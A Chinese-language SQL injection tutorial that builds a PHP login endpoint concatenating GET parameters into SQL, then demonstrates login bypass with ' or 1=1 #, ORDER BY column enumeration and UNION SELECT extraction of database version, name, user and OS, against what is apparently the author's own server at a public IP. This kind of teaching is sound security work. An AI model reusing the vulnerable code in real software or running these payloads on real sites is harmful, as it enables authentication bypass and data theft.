通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
SQL注入带来的威胁主要有如下几点:
- 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
- 绕过认证,列如绕过验证登录网站后台,进行提权等操作。
一、准备实验环境
1.1 搭建LAMP环境
参考《LAMP安装(Yum CentOS)》
1.2 新建数据库及表
DROP TABLE IF EXISTS `ai_bk`.`userlogin_info`;
CREATE TABLE `ai_bk`.`userlogin_info` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(45) COLLATE utf8_unicode_ci NOT NULL,
`pwd` varchar(45) COLLATE utf8_unicode_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
二、绕过认证登录
2.1 登录接口文件
传入用户名密码,判断是否正确,并返回查询结果。
<?php
header("Content-type: text/html; charset=utf-8");
include_once '/var/www/html/api/com/com_inc.php';
$username = $_GET['name'];
$userpwd = $_GET['pwd'];
$link=mysqli_connect(Config::getDBHost(), Config::s_db_user, Config::getDBPasswd(), Config::s_db_name);
$sql = "select * from ai_bk.userlogin_info where name = '" . $username . "' and pwd = '" . $userpwd . "'";
$_rs = mysqli_query($link, $sql);
$ret = array();
while ($row = mysqli_fetch_assoc($_rs)) {
$ret[] = $row;
}
mysqli_close($link);
$link = null;
echo json_encode($ret);
2.2 正常调用
调用URL:
http://148.70.159.137:5888/api/test/ws.php?name=admin&pwd=c4ca4238a0b923820dcc509a6f75849b
返回结果:(密码是MD5加密的)
[{"id":"1","name":"admin","pwd":"c4ca4238a0b923820dcc509a6f75849b"}]
2.3 绕过登录
基于两点特性:
- Mysql 语法,# 后面的内容会被忽略特性。
- && || 特性
url出现了有+,空格,/,?,%,#,&,=等特殊符号的时候,可能在服务器端无法获得正确的参数值,需要将这些字符转化成服务器可以识别的字符,对应关系如下:
+ URL 中+号表示空格 %2B
空格 URL中的空格可以用+号或者编码 %20
/ 分隔目录和子目录 %2F
? 分隔实际的URL和参数 %3F
% 指定特殊字符 %25
# 表示书签 %23
& URL 中指定的参数间的分隔符 %26
= URL 中指定参数的值 %3D
修改后的URL:
http://148.70.159.137:5888/api/test/ws.php?name=*' or 1=1 #&pwd=2' or 1=1 #
转义后:
http://148.70.159.137:5888/api/test/ws.php?name=*' or 1=1 %23&pwd=2' or 1=1 %23
服务端实际执行的SQL:
select * from ai_bk.userlogin_info where name = '*' or 1=1 #' and pwd = '2' or 1=1 #'
Mysql实际只执行:
select * from ai_bk.userlogin_info where name = '*' or 1=1
根据‘||’原则,只要有一条为真就都会为真,而1=1是真,所以前面判断条件不重要了,执行结果:
[{"id":"1","name":"admin","pwd":"c4ca4238a0b923820dcc509a6f75849b"}]
三、猜测后台数据库
3.1 猜测字段数
order by 语句用于根据指定的列对结果集进行排序,语句默认是按照升序记录进行排序的,比如猜测一个字段的URL:
http://148.70.159.137:5888/api/test/ws.php?name=admin' order by 1 %23&pwd=2' or 1=1 %23
实际执行:
sql = select * from ai_bk.userlogin_info where name = 'admin' order by 1 #' and pwd = '2' or 1=1 #'
MYSQL执行:
sql = select * from ai_bk.userlogin_info where name = 'admin' order by 1
执行结果:
[{"id":"1","name":"admin","pwd":"c4ca4238a0b923820dcc509a6f75849b"}]
2个和3个字段如下:
http://148.70.159.137:5888/api/test/ws.php?name=admin' order by 2 %23&pwd=2' or 1=1 %23
http://148.70.159.137:5888/api/test/ws.php?name=admin' order by 3 %23&pwd=2' or 1=1 %23
到底4个字段返回空,则说明就3个字段
http://148.70.159.137:5888/api/test/ws.php?name=admin' order by 4 %23&pwd=2' or 1=1 %23
返回
[]
3.2 数据库版本、数据库名、用户名、操作系统
- database()将会返回当前网站所使用的数据库名字。
- user()将会返回执行当前查询的用户名。
- version()获取当前数据库的版本
- @@version_compile_os获取当前操作系统。
查询数据库版本、数据库名、用户名,执行URL:
http://148.70.159.137:5888/api/test/ws.php?name=*' union select version(),database(),user() %23&pwd=2' or 1=1 %23
实际执行SQL:
select * from ai_bk.userlogin_info where name = '*' union select version(),database(),user() #' and pwd = '2' or 1=1 #'
MYSQL执行的SQL:
select * from ai_bk.userlogin_info where name = '*' union select version(),database(),user()
执行结果结果:
[{"id":"5.5.64-MariaDB","name":"ai_bk","pwd":"root@localhost"}]
查询操作系统,替换其中一个即可,URL如下:
http://148.70.159.137:5888/api/test/ws.php?name=*' union select version(),database(),@@version_compile_os %23&pwd=2' or 1=1 %23
执行结果如下:
[{"id":"5.5.64-MariaDB","name":"ai_bk","pwd":"Linux"}]